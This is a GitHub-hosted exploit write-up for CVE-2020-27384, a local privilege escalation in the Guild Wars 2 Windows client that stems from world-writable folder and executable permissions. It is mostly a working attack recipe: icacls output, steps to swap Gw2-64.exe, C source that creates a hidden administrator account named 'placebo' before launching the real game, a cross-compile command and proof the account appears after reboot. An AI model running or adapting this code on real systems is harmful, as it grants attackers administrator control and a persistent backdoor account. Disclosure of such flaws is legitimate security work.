Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE/Guild Wars 2 - Local Privilege Escalation
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
103 lines (71 sloc)
2.95 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Exploit Title: Guild Wars 2 Insecure Folder/File Permissions Local Privilege Escalation | |
| # Date: 10-09-2020 | |
| # Exploit Author: George Tsimpidas | |
| # Software Link : https://account.arena.net/welcome | |
| # Version Build : 106915 | |
| # Tested on: Microsoft Windows 10 Home 10.0.18362 N/A Build 18362 | |
| # Category: local | |
| # CVE : CVE-2020-27384 | |
| Vulnerability Description: | |
| Gw2-64.exe suffers from an elevation of | |
| privileges vulnerability which can be used by an "Authenticated User" to modify the | |
| existing executable file with a binary of his choice. The vulnerability exist due to the improper permissions, | |
| with the 'F' flag (Full Control) for 'Everyone' group, making the entire directory | |
| 'Guild Wars 2' and its files and sub-dirs world-writable. | |
| # Local Privilege Escalation Proof of Concept | |
| D:\>icacls "Guild Wars 2" | |
| Guild Wars 2 Everyone:(F) | |
| Everyone:(OI)(CI)(IO)(M,WDAC,WO,DC) | |
| BUILTIN\Administrators:(I)(F) | |
| BUILTIN\Administrators:(I)(OI)(CI)(IO)(F) | |
| NT AUTHORITY\SYSTEM:(I)(F) | |
| NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F) | |
| NT AUTHORITY\Authenticated Users:(I)(M) | |
| NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M) | |
| BUILTIN\Users:(I)(RX) | |
| BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE) | |
| ## Insecure File Permission | |
| D:\Guild Wars 2>icacls Gw2-64.exe | |
| Gw2-64.exe Everyone:(F) | |
| Everyone:(I)(F) | |
| BUILTIN\Administrators:(I)(F) | |
| NT AUTHORITY\SYSTEM:(I)(F) | |
| NT AUTHORITY\Authenticated Users:(I)(M) | |
| BUILTIN\Users:(I)(RX) | |
| #0. Download & install | |
| #1. Create low privileged user & change to the user | |
| ## As admin | |
| C:\>net user lowpriv Password123! /add | |
| C:\>net user lowpriv | findstr /i "Membership Name" | findstr /v "Full" | |
| User name lowpriv | |
| Local Group Memberships *Users | |
| Global Group memberships *None | |
| #2. Move the Service EXE to a new name | |
| D:\Guild Wars 2> whoami | |
| lowpriv | |
| D:\Guild Wars 2> move Gw2-64.exe Gw2-64.frey.exe | |
| 1 file(s) moved. | |
| #3. Create malicious binary on kali linux | |
| ## Add Admin User C Code | |
| kali# cat addAdmin.c | |
| int main(void){ | |
| system("net user placebo mypassword /add"); | |
| system("net localgroup Administrators placebo /add"); | |
| WinExec("D:\\Guild Wars 2\\Gw2-64.frey.exe",0); | |
| return 0; | |
| } | |
| ## Compile Code | |
| kali# i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o Gw2-64.exe | |
| #4. Transfer created 'Gw2-64' to the Windows Host | |
| #5. Move the created 'Gw2-64' binary to the 'D:\Guild Wars 2>' Folder | |
| D:\Guild Wars 2> move C:\Users\lowpriv\Downloads\Gw2-64.exe . | |
| #6. Check that exploit admin user doesn't exists | |
| D:\Guild Wars 2> net user placebo | |
| The user name could not be found | |
| #6. Reboot the Computer | |
| D:\Guild Wars 2> shutdown /r | |
| #7. Login & look at that new Admin | |
| C:\Users\lowpriv>net user placebo | findstr /i "Membership Name" | findstr /v "Full" | |
| User name placebo | |
| Local Group Memberships *Administrators *Users | |
| Global Group memberships *None |